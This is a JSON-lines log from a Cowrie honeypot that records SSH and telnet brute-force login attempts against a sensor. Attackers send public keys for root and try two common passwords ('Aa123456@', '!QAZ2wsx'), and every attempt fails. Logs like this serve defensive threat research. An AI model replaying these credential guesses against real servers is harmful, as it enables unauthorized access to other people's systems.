{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:8b:a6:16:70:f0:16:71:ed:62:65:e5:e1:e6:bf:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxmEp2e7FR5ABXZKImR/UlgLEd/fSfgILh9d5gj6LcUGs4i9g2LDWJw62eLUx1HD50nZlbRCrLM7FdlXD4RkuKvXv/y8GTkcoMGMT7tc4SxPVGl6NQTHD08k8djytiuSrciYRHPdyZ1VqY4vhyjTj04y7nsm1EY93KUXuOvcm1+0ttjOFdY7F9XVKwS7PM7mH2Ks2R9SYdBor+piF4/nxvkb34+5ZEWu4S1/Pq4As/iQJnzSv8Rpfp/UVDWQoftxuFS5kyHoWDOEcJHTkHd3hOPrvTdLf3fwfVxqWueNwjBWIz5KD+w58rEFaDJWTECJOJD57QntRWRA5pqjB1RKJ/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:33.523891Z","src_ip":"195.154.200.208","session":"a5480bdb7150","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:7c:6c:8d:46:94:5a:e5:af:e7:ff:40:b4:e6:44:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEK/xzaqVtAPcjhlTptea/i9vm5gY7JvHc42edgl0BSE3ze9caGnGzng9SsRXpMiQ9xyonESYR8uPdgph2xctMHIl1sqwyWDnzDhlBkiHJojCpdrRGsgL9rMrPVllHUGhQY47cRZbzZWZ7baoCPA0Dxyn7vfimkLqdfZZzeHhH9OC9xSwM/8cRpBWtAUdvwAkLI+EKEYPxbftbZs7Nl4CMIkctUspWOjRXG5nI2RgHe5fStntCqlLGaQvXnxD/tf2dqS5uukM+Wg7YipVqY83e6roBtE0+PK7uRKxV1UM86pJD9i213G9e6tD3oYqztcsO5cz6m6+uQLhs5Fu3irTp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:7c:6c:8d:46:94:5a:e5:af:e7:ff:40:b4:e6:44:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:33.608392Z","src_ip":"195.154.200.208","session":"a5480bdb7150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:7c:6c:8d:46:94:5a:e5:af:e7:ff:40:b4:e6:44:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEK/xzaqVtAPcjhlTptea/i9vm5gY7JvHc42edgl0BSE3ze9caGnGzng9SsRXpMiQ9xyonESYR8uPdgph2xctMHIl1sqwyWDnzDhlBkiHJojCpdrRGsgL9rMrPVllHUGhQY47cRZbzZWZ7baoCPA0Dxyn7vfimkLqdfZZzeHhH9OC9xSwM/8cRpBWtAUdvwAkLI+EKEYPxbftbZs7Nl4CMIkctUspWOjRXG5nI2RgHe5fStntCqlLGaQvXnxD/tf2dqS5uukM+Wg7YipVqY83e6roBtE0+PK7uRKxV1UM86pJD9i213G9e6tD3oYqztcsO5cz6m6+uQLhs5Fu3irTp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:33.612581Z","src_ip":"195.154.200.208","session":"a5480bdb7150","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:4a:88:80:f5:eb:56:63:e0:b4:24:ab:84:0c:68:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLAvaOIaX+2gQYLWROMhVOeibSrHrnMkKiihSt9Fk1IARC5XxLMGQ6ezl9Y1o9wjfoNIXmMW8nR+rd7SQWCQS+Xu8qSAmnmZq1FHH2jLnR4Eclngjnr9oTcLwhaLtmEHNGScece7NmnIx2VHw19B5m1PcUGtBMSzlT6cYr7oDX4XOAK//eyi36g9EwUKpHthg3i3AiwSpppo7nA0OBZsMnXEb2m+U9tAp2V/qJ7ATLSpxNNq5cn5zHIDF994VMtxSvSKtSaG1ToBULhZ8hXxc+b+43JcMyYZ7RCROPNjqZR3ElhRncBmiOfeSZsu6Hej2yT8VywX9ZxCm1wXXp7rGh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:4a:88:80:f5:eb:56:63:e0:b4:24:ab:84:0c:68:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:33.696542Z","src_ip":"195.154.200.208","session":"a5480bdb7150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:4a:88:80:f5:eb:56:63:e0:b4:24:ab:84:0c:68:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLAvaOIaX+2gQYLWROMhVOeibSrHrnMkKiihSt9Fk1IARC5XxLMGQ6ezl9Y1o9wjfoNIXmMW8nR+rd7SQWCQS+Xu8qSAmnmZq1FHH2jLnR4Eclngjnr9oTcLwhaLtmEHNGScece7NmnIx2VHw19B5m1PcUGtBMSzlT6cYr7oDX4XOAK//eyi36g9EwUKpHthg3i3AiwSpppo7nA0OBZsMnXEb2m+U9tAp2V/qJ7ATLSpxNNq5cn5zHIDF994VMtxSvSKtSaG1ToBULhZ8hXxc+b+43JcMyYZ7RCROPNjqZR3ElhRncBmiOfeSZsu6Hej2yT8VywX9ZxCm1wXXp7rGh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:33.701472Z","src_ip":"195.154.200.208","session":"a5480bdb7150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:33.787354Z","src_ip":"195.154.200.208","session":"a5480bdb7150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.843940019607544,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:46.588428Z","src_ip":"212.55.149.117","session":"f896707dbab9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.187.163","src_port":49112,"dst_ip":"10.17.0.5","dst_port":22,"session":"83767f43a9b4","protocol":"ssh","message":"New connection: 86.111.187.163:49112 (10.17.0.5:22) [session: 83767f43a9b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:56.608843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:56.613838Z","src_ip":"86.111.187.163","session":"83767f43a9b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:56.687333Z","src_ip":"86.111.187.163","session":"83767f43a9b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:b9:da:eb:0f:a1:86:8b:3d:32:ab:ff:68:9b:00:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf7tr1uyceFpQLSiSsBplADiO4TZ8cSkHApJahgvVMl9z8OcmT/sRtuZQgJ/G4Pl/SdqkE8an7vU8oqasMD6erlzI6g4Et54k6od5H4HJZ5+G+b/y4t+y8li/9yybtwtQbDnmr3B2QwNj/gkAXd8FOwbaE4x2bAOr6fnk0iTkmOHIsvak31cT+c62lIg1Czm42s4xjn4kAWdP85c0SlIQuGbQ9qrrAL9OxxzUstjTcL5nMH2z4PG0OpgtuQVMlgX6r+50cG7wFds5++HsQsO8YGfHmUMJIqkR2XHoKA2HBMj+qiJMxCiuouyIRlJjvVdXaUWN9v1vpcf6nUWMHQLSX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:b9:da:eb:0f:a1:86:8b:3d:32:ab:ff:68:9b:00:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:57.021802Z","src_ip":"86.111.187.163","session":"83767f43a9b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:b9:da:eb:0f:a1:86:8b:3d:32:ab:ff:68:9b:00:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf7tr1uyceFpQLSiSsBplADiO4TZ8cSkHApJahgvVMl9z8OcmT/sRtuZQgJ/G4Pl/SdqkE8an7vU8oqasMD6erlzI6g4Et54k6od5H4HJZ5+G+b/y4t+y8li/9yybtwtQbDnmr3B2QwNj/gkAXd8FOwbaE4x2bAOr6fnk0iTkmOHIsvak31cT+c62lIg1Czm42s4xjn4kAWdP85c0SlIQuGbQ9qrrAL9OxxzUstjTcL5nMH2z4PG0OpgtuQVMlgX6r+50cG7wFds5++HsQsO8YGfHmUMJIqkR2XHoKA2HBMj+qiJMxCiuouyIRlJjvVdXaUWN9v1vpcf6nUWMHQLSX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:57.025541Z","src_ip":"86.111.187.163","session":"83767f43a9b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:6e:df:d1:3e:dc:b4:1f:09:7d:18:6f:ef:31:a7:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX5tW/N4L59X215HpZbICioJarOcvBok8gB593eslhF/YrN8EqQWQLnfKWjG3eWXJWahQBKoZ+Bdu5TZb0QsZc36ha4ujV+7Br+Cw6h7GRPeiYXc1uXHM0pjFAvgLuUWf6TwXZuZCfipACFsCCzwh99XZgokyuHdDbhLVqOGED2zEahadOlSZLMcUYQ0eZGjchDHwby4pLYrLip79Hv2eku/fZCrLoeTAYMkTkbhRB4Eby52ky1SlLI4hh8sBpFm1qz3UCr1hAdyYE/C6OzOeKq6Po5XuDAC2sKGA6YHutNrXVWiYMHGwhslnIrL/46pY45wPkzhw5pirGvPOykkFN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:6e:df:d1:3e:dc:b4:1f:09:7d:18:6f:ef:31:a7:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:57.095992Z","src_ip":"86.111.187.163","session":"83767f43a9b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:6e:df:d1:3e:dc:b4:1f:09:7d:18:6f:ef:31:a7:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX5tW/N4L59X215HpZbICioJarOcvBok8gB593eslhF/YrN8EqQWQLnfKWjG3eWXJWahQBKoZ+Bdu5TZb0QsZc36ha4ujV+7Br+Cw6h7GRPeiYXc1uXHM0pjFAvgLuUWf6TwXZuZCfipACFsCCzwh99XZgokyuHdDbhLVqOGED2zEahadOlSZLMcUYQ0eZGjchDHwby4pLYrLip79Hv2eku/fZCrLoeTAYMkTkbhRB4Eby52ky1SlLI4hh8sBpFm1qz3UCr1hAdyYE/C6OzOeKq6Po5XuDAC2sKGA6YHutNrXVWiYMHGwhslnIrL/46pY45wPkzhw5pirGvPOykkFN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:57.099782Z","src_ip":"86.111.187.163","session":"83767f43a9b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:4d:a7:fd:0c:33:53:a0:12:32:9e:f3:5e:8b:42:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0wUi+Y9XavLmcZ8p2hIzTpw8dlz+faDCMJiC6XjHjc7RI0HAXUEAr/6AQQYixk+JmM6quBJ6YcqoLfu9B/jatF1DHO8QHETs1Gn5s5MCF51b5Qhuogrr78rLqLQeHFhMquuE5VjWcdz9ssVNFdElzntMpk7AMXAmqZcTFJE4d0EoC76qKsdkaeIgvzthYLx2E6yZ9viGyT2YJ5isTkofPGOI5T+GPfXxDhHS6vG86VXScGPM006yU+huLdpgmZBgEmm40RIz9wLuqP1hdt2TqTHXXphuD08XQJFym+ot0mEvzp1ejrcmB0Y9qqU5JnnnVNHv1vRBnlEpcuB7+mG/B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:4d:a7:fd:0c:33:53:a0:12:32:9e:f3:5e:8b:42:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:57.170547Z","src_ip":"86.111.187.163","session":"83767f43a9b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:4d:a7:fd:0c:33:53:a0:12:32:9e:f3:5e:8b:42:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0wUi+Y9XavLmcZ8p2hIzTpw8dlz+faDCMJiC6XjHjc7RI0HAXUEAr/6AQQYixk+JmM6quBJ6YcqoLfu9B/jatF1DHO8QHETs1Gn5s5MCF51b5Qhuogrr78rLqLQeHFhMquuE5VjWcdz9ssVNFdElzntMpk7AMXAmqZcTFJE4d0EoC76qKsdkaeIgvzthYLx2E6yZ9viGyT2YJ5isTkofPGOI5T+GPfXxDhHS6vG86VXScGPM006yU+huLdpgmZBgEmm40RIz9wLuqP1hdt2TqTHXXphuD08XQJFym+ot0mEvzp1ejrcmB0Y9qqU5JnnnVNHv1vRBnlEpcuB7+mG/B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:57.175913Z","src_ip":"86.111.187.163","session":"83767f43a9b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:bf:cb:d0:e0:5b:51:61:46:b4:8d:71:01:76:a2:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6aphosvPZgEh3zptp4bm41Tvz0WmF1q/OkEk9I7aadikQid4mymDqDYFD7ekghTf+9fXBtTcxdglwbWOC1FoIYSwn2detJ6J1BK5ld46DvRoXriWZ8R3U9efDlapqtrkyMYf+gskZ9dVbJnn5yzje8k4ymTYqMEOOfo02Y9kqwJCKb7qN7TPLnonoaR3jOtq/QTtWXqIO5EyTQemphGXWLB2phwrg+kYCRINGTNRR0FXgoJr9B1CQZDLMn2MzgXgrZt6fverZhfg7d19xUJk4FtNGDzvPWsdh8TGQAaQiglDstB3CN3RBWJBvUlr9F4wQiOU548STEiTN9La4WqzNw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:bf:cb:d0:e0:5b:51:61:46:b4:8d:71:01:76:a2:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:57.246661Z","src_ip":"86.111.187.163","session":"83767f43a9b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:bf:cb:d0:e0:5b:51:61:46:b4:8d:71:01:76:a2:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6aphosvPZgEh3zptp4bm41Tvz0WmF1q/OkEk9I7aadikQid4mymDqDYFD7ekghTf+9fXBtTcxdglwbWOC1FoIYSwn2detJ6J1BK5ld46DvRoXriWZ8R3U9efDlapqtrkyMYf+gskZ9dVbJnn5yzje8k4ymTYqMEOOfo02Y9kqwJCKb7qN7TPLnonoaR3jOtq/QTtWXqIO5EyTQemphGXWLB2phwrg+kYCRINGTNRR0FXgoJr9B1CQZDLMn2MzgXgrZt6fverZhfg7d19xUJk4FtNGDzvPWsdh8TGQAaQiglDstB3CN3RBWJBvUlr9F4wQiOU548STEiTN9La4WqzNw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:57.249910Z","src_ip":"86.111.187.163","session":"83767f43a9b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:c1:7a:91:55:1d:2b:93:95:26:03:2d:45:2e:49:72","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMo6wUg5uMLnf+d1/BRrNwmLqZvt/KeBw2MdzeXVZ1l7bVaBmtnfpYz2Hz7d2vjncZzlgZEA67BkqIL9q7R4bAKSIB5EOY9wJtGm96bvGEKu98aX288FUyqqX3iKZ6irrS7cz7fmQKJ21ST5Sy+Pz75IDOiH2aoWp0DR4BH3KoFPAAAAFQDVv88JXfTUK7VxfhKKCvL9Puis1wAAAIANdjHlh0Qlf2FbC4iTp9Vc8k5yCe3Qo3YdUBoolSaAPdaYIuVXaIh9Ys9OCsid5E2ivRkUCZKBgjXd6Kk64pgdVUTqi1V5Y+mmZ0ArnOLXfHRmJyQ/HXsBjG5qsSYr5WhpQooc0ZC/SbQVfbk34BGMgyGrbbLLjoMCIdxxxBkZuAAAAIA3kZNp029K0YkjNOlvyIPFVkcTiFiSC2NnDqtxzSGYLztg9pJ2bJt2dsVNdo/kgRCmfi8Kf0a4mWBoYEGMGe2pirtpuNjXAQwar8zfHtAauCFC7nS4dKkCvZoiCLTLq7javbvVDN/05CWsH5lL6Gqt2dZNtMWQfjJ3ITOHtjvASw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 9a:c1:7a:91:55:1d:2b:93:95:26:03:2d:45:2e:49:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:57.320781Z","src_ip":"86.111.187.163","session":"83767f43a9b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:c1:7a:91:55:1d:2b:93:95:26:03:2d:45:2e:49:72","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMo6wUg5uMLnf+d1/BRrNwmLqZvt/KeBw2MdzeXVZ1l7bVaBmtnfpYz2Hz7d2vjncZzlgZEA67BkqIL9q7R4bAKSIB5EOY9wJtGm96bvGEKu98aX288FUyqqX3iKZ6irrS7cz7fmQKJ21ST5Sy+Pz75IDOiH2aoWp0DR4BH3KoFPAAAAFQDVv88JXfTUK7VxfhKKCvL9Puis1wAAAIANdjHlh0Qlf2FbC4iTp9Vc8k5yCe3Qo3YdUBoolSaAPdaYIuVXaIh9Ys9OCsid5E2ivRkUCZKBgjXd6Kk64pgdVUTqi1V5Y+mmZ0ArnOLXfHRmJyQ/HXsBjG5qsSYr5WhpQooc0ZC/SbQVfbk34BGMgyGrbbLLjoMCIdxxxBkZuAAAAIA3kZNp029K0YkjNOlvyIPFVkcTiFiSC2NnDqtxzSGYLztg9pJ2bJt2dsVNdo/kgRCmfi8Kf0a4mWBoYEGMGe2pirtpuNjXAQwar8zfHtAauCFC7nS4dKkCvZoiCLTLq7javbvVDN/05CWsH5lL6Gqt2dZNtMWQfjJ3ITOHtjvASw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:57.325227Z","src_ip":"86.111.187.163","session":"83767f43a9b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:44:57.397490Z","src_ip":"86.111.187.163","session":"83767f43a9b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":53520,"dst_ip":"10.17.0.5","dst_port":22,"session":"b99eccf9dc04","protocol":"ssh","message":"New connection: 103.15.226.202:53520 (10.17.0.5:22) [session: b99eccf9dc04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:00.482817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:00.488064Z","src_ip":"103.15.226.202","session":"b99eccf9dc04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:00.740507Z","src_ip":"103.15.226.202","session":"b99eccf9dc04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:01.500067Z","src_ip":"103.15.226.202","session":"b99eccf9dc04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:02.766180Z","src_ip":"103.15.226.202","session":"b99eccf9dc04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":41498,"dst_ip":"10.17.0.5","dst_port":22,"session":"61e9baf79083","protocol":"ssh","message":"New connection: 198.98.56.227:41498 (10.17.0.5:22) [session: 61e9baf79083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:16.899637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:16.910044Z","src_ip":"198.98.56.227","session":"61e9baf79083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:16.916540Z","src_ip":"198.98.56.227","session":"61e9baf79083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx","message":"login attempt [ubuntu/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:45:16.977771Z","src_ip":"198.98.56.227","session":"61e9baf79083","protocol":"ssh"}
